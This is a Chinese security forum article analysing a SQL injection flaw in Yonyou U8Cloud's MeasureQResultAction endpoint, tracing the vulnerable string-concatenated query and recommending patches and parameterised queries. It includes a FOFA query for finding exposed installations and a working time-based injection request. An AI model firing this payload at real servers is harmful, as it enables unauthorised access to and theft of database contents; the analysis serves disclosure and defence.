问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友 U8Cloud MeasureQResultAction SQL注入漏洞分析
漏洞分析
U8cloud系统MeasureQResultAction接口存在SQL注入漏洞,攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。
一、漏洞简介 ------ U8cloud系统`MeasureQResultAction`接口存在SQL注入漏洞,攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。 二、影响版本 ------ 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp 三、漏洞原理分析 -------- 漏洞位于`MeasureQResultAction`接口处,文件路径为`nc.ui.iufo.query.measurequery.MeasureQueryFrameAction`  漏洞调用该方法的请求路径如下(不包含参数) ```php /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQResultAction&method=execute&selectQueryCondition=1 ``` 老规矩,先简单看下用友系统的请求分发 查看Web.xml,可以看见请求`/service`和`/servlet`前缀的都经过NCInvokerServlet处理,这个方法命名看起来像是用友NC系统里继承过来的  方法主要功能是获得url路径后,如果是以`/~`开头,截取第一部分为`moduleName`,然后再截取第二部分为`serviceName`,再根据`getServiceObject(moduleName, serviceName)`实现任意Servlet的调用 简单来说,上面请求url中的`iufo`为模块名称,`com.ufida.web.action.ActionServlet`就是服务名称 咱们跟进`com.ufida.web.action.ActionServlet`方法中  主要代码如下 ```php protected void process(HttpServletRequest request, HttpServletResponse response) { if (!IufoValidateUtil.validateReferer(request)) { String msg = "<font color="#FF0000"> 可能存在非法网站欺骗!请联系管理员! </font>"; throw new WebException(msg); } Logger.init("iufo"); initGlobalParam(request); long timeStart = DateUtil.getCurTimeInt(); AppDebug.debug("\r\n===== " + DateUtil.getCurTimeWithMillisecond() + " ====="); String uri = request.getRequestURI(); String strQuery = request.getQueryString(); String log = "访问路径:" + uri; if (strQuery != null) log = log + "?" + strQuery; AppDebug.debug(log); ActionLogUtil.stratActionLog(request); try { RequestProcessor.getInstance().process(request, response, this); } finally { ActionLogUtil.endActionLog(request); } long timeEnd = DateUtil.getCurTimeInt(); double time = (timeEnd - timeStart); RequestMonitor.getSingleton().req(request, time); time = 1000.0D; AppDebug.debug("执行时间:" + time + "秒"); } ``` 其中处理请求的方法为 `RequestProcessor.getInstance().process(request, response, this);`  继续根据process方法中,可见此处接收参数名称`action`和`method`  经过一系列的步骤后走到`processActionExecute`方法中执行对应的方法名称   关键代码为 ```php methodName = methodName.trim(); Method method = getMethod(action.getClass(), methodName); forward = (ActionForward)method.invoke(action, new Object[] { form }); ``` 这里直接使用action指定了对应的类名`nc.ui.iufo.query.measurequery.MeasureQResultAction`,method指定了对应的方法名称`execute` 来到MeasureQResultAction中,查看调用的execute方法格式 ```php public ActionForward execute(ActionForm actionForm) { ActionForward actionForward = null; actionForward = new ActionForward(MeasureQResultUI.class.getName()); String selectQuery = getRequestParameter("selectQueryCondition"); MeasQExport measQExport = new MeasQExport(); measQExport.setFormulaID(selectQuery); measQExport.setLang(getLanguageCode()); WebGrid grid = new WebGrid(); try { UfoTableUtil util = new UfoTableUtil((IUFOAction)this); IReportFormatSrv srv = (IReportFormatSrv)measQExport.getReportFormatSrv(false); util.setRepFormatSrv(srv); util.geneWebGrid(grid); } catch (Exception e) { AppDebug.debug(e); } addSessionObject("excelMq", measQExport); MeasureQResultForm form = (MeasureQResultForm)actionForm; form.setGrid(grid); form.setSelectQuery(selectQuery); return actionForward; } ``` 方法中接收传参`selectQueryCondition`,接着调用`getReportFormatSrv`方法传入selectQueryCondition参数  之后进入runFormula方法,继续带入参数  继续跟进到genAllCells方法中  genAllCells方法里面又调用了`MeasureQueryConBo_client.loadQueryConVOs`方法,继续跟进  追踪`loadQueryConVOs`方法  进入方法中,找到最后的关键代码  代码如下,方法中使用拼接的SQL语句:`query_con_id in (selectQueryCondition)`导致了最终的SQL注入 ```php public MeasureQueryConVO[] loadQueryConVOs(String[] strQueryConIds) throws SQLException { if (strQueryConIds == null || strQueryConIds.length <= 0) return null; Connection con = getConnection(); StringBuffer str = new StringBuffer("query_con_id in( "); for (int i = 0; i < strQueryConIds.length; i++) { str = str.append("'"); str = str.append(strQueryConIds[i]); str = str.append("',"); } String strWhere = str.toString(); strWhere = strWhere.substring(0, str.length() - 1) + ")"; String sql = "select query_con_id, con_name, con_note, repid, area, content,query_id from iufo_measure_query_con where " + strWhere; ``` 此处可以使用`')`来闭合语句,执行任意的恶意SQL语句,造成敏感信息泄露 四、总结 ---- U8cloud系统`MeasureQResultAction`接口的方法中拼接SQL语句造成了SQL注入漏洞,攻击者可以构造任意的`selectQueryCondition`参数,执行恶意的SQL语句。 五、资产测绘 ------ FOFA语法 ```php app="用友-U8-Cloud" ```  六、漏洞复现 ------ POC ```php GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQResultAction&method=execute&selectQueryCondition=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close ``` 延时注入5秒  七、修复建议 ------ 安装用友U8cloud最新的补丁,或修改对应方法中拼接SQL语句的问题,使用占位符避免用户输入的参数注入到SQL语句当中。
发表于 2025-03-20 09:00:01
阅读 ( 315 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!